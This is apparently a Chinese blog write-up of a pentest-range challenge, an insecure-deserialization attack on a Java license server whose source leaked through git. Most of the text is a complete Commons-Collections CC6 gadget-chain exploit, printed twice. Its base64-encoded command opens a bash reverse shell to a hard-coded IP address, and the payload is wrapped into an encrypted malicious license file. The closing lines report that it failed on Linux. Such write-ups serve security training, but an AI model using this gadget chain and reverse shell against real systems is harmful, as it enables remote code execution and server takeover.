一个License认证机制靶场-反序列化场景

一个License认证机制靶场-反序列化场景

这个题是在国外的一个渗透赛里面弄到的standoff渗透赛

起初是git泄露,用GitHack可以拉取源码

image-20230519113027942

然后代审了一下,

LicenseController展示了网站的部分路由,其中主要是登录鉴权的一些操作

image-20230519113101965

比如说可以这样鉴权

image-20230519113216943

读入你传的License文件,然后调用解密函数进行解密

因为这是靶场,所以这个应用一定是有漏洞的

pom.xml

image-20230519113821045

看到有个cc3,然后传进去的jwt会做一堆解密(rsa和jwt),最后会调用反序列化的

image-20230519113930155

image-20230519113937515

看到这我已经意识到了,应该是import路由下面post一个license进去,最后解密成功的时候反序列化,License可以作为入口,调用cc链

image-20230519114010095

但是后面转念一想,他这个ObjectInputStream应该是直接可以读任意反序列化入口了,我们甚至不需要拼上License作为入口

说时迟那时快,写个poc

ccSix.java

package com.example.license_server;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
import java.util.HashMap;
import java.util.Map;

public class ccSix {

    /**
     * 将字节流转换成文件
     * @param filename
     * @param data
     * @throws Exception
     */
    public static void saveFile(String filename,byte [] data)throws Exception{
        if(data != null){

            File file  = new File(filename);
            if(file.exists()){
                file.delete();
            }
            FileOutputStream fos = new FileOutputStream(file);
            fos.write(data,0,data.length);
            fos.flush();
            fos.close();
        }
    }

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String[].class},new Object[]{"bash","-c","{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTI5LjQyLjE0MC8zMzA3IDA+JjE=}|{base64,-d}|bash"})
        };
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object,Object> lazyMap =  LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        Map<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"aaa");
        lazyMap.remove("aaa");

        Class c = LazyMap.class;
        Field field =  c.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap, chainedTransformer);
        // 原生反序列化成功
//        serialize(map2);
//        unserialize("ser.bin");

        byte[] exp = LicenseEncryptor.encryptLicense1(map2);

        // 解密反序列化成功
        //License licenseCandidate = LicenseEncryptor.decryptAndVerifyLicense(exp);

        // 写文件
        saveFile("expLiense", exp);

    }
}

我把cc6拿了过来,先测了一下能不能用(因为jdk17把templateImpl禁了,有些链子不通)

 serialize(map2);
unserialize("ser.bin");

比较幸运,这个没有版本限制

因为它前面有一部分解密,所以我要调一下它的加密函数(要魔改一下输入参数)

image-20230519121558668

LicenseEncryptor.java

encryptLicense1(Object license)

exp

ccSix.java

byte[] exp = LicenseEncryptor.encryptLicense1(map2);

// 解密反序列化成功
License licenseCandidate = LicenseEncryptor.decryptAndVerifyLicense(exp);

测试成功

image-20230518110638084

但是它这个接口是要传文件的

image-20230519122028268

所以写个saveFile函数(网上找了一个)

image-20230519122048529

最终完整poc

package com.example.license_server;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
import java.util.HashMap;
import java.util.Map;

public class ccSix {

    /**
     * 将字节流转换成文件
     * @param filename
     * @param data
     * @throws Exception
     */
    public static void saveFile(String filename,byte [] data)throws Exception{
        if(data != null){

            File file  = new File(filename);
            if(file.exists()){
                file.delete();
            }
            FileOutputStream fos = new FileOutputStream(file);
            fos.write(data,0,data.length);
            fos.flush();
            fos.close();
        }
    }

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String[].class},new Object[]{"bash","-c","{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzguMTI5LjQyLjE0MC8zMzA3IDA+JjE=}|{base64,-d}|bash"})
        };
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object,Object> lazyMap =  LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        Map<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"aaa");
        lazyMap.remove("aaa");

        Class c = LazyMap.class;
        Field field =  c.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap, chainedTransformer);
        // 原生反序列化成功
//        serialize(map2);
//        unserialize("ser.bin");

        byte[] exp = LicenseEncryptor.encryptLicense1(map2);

        // 解密反序列化成功
        //License licenseCandidate = LicenseEncryptor.decryptAndVerifyLicense(exp);

        // 写文件
        saveFile("expLiense", exp);

    }
}

image-20230518110605501

image-20230518110613655

但是靶机大概率是linux环境,于是我在linux上测试,但是结果失败了

发现我的exp有问题,估计只能打本地,可能是前面rsa加密的问题,只有本地密钥能解

尝试在linux机器上面复现以上过程,但是反序列化的时候会出错,非常诡异

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇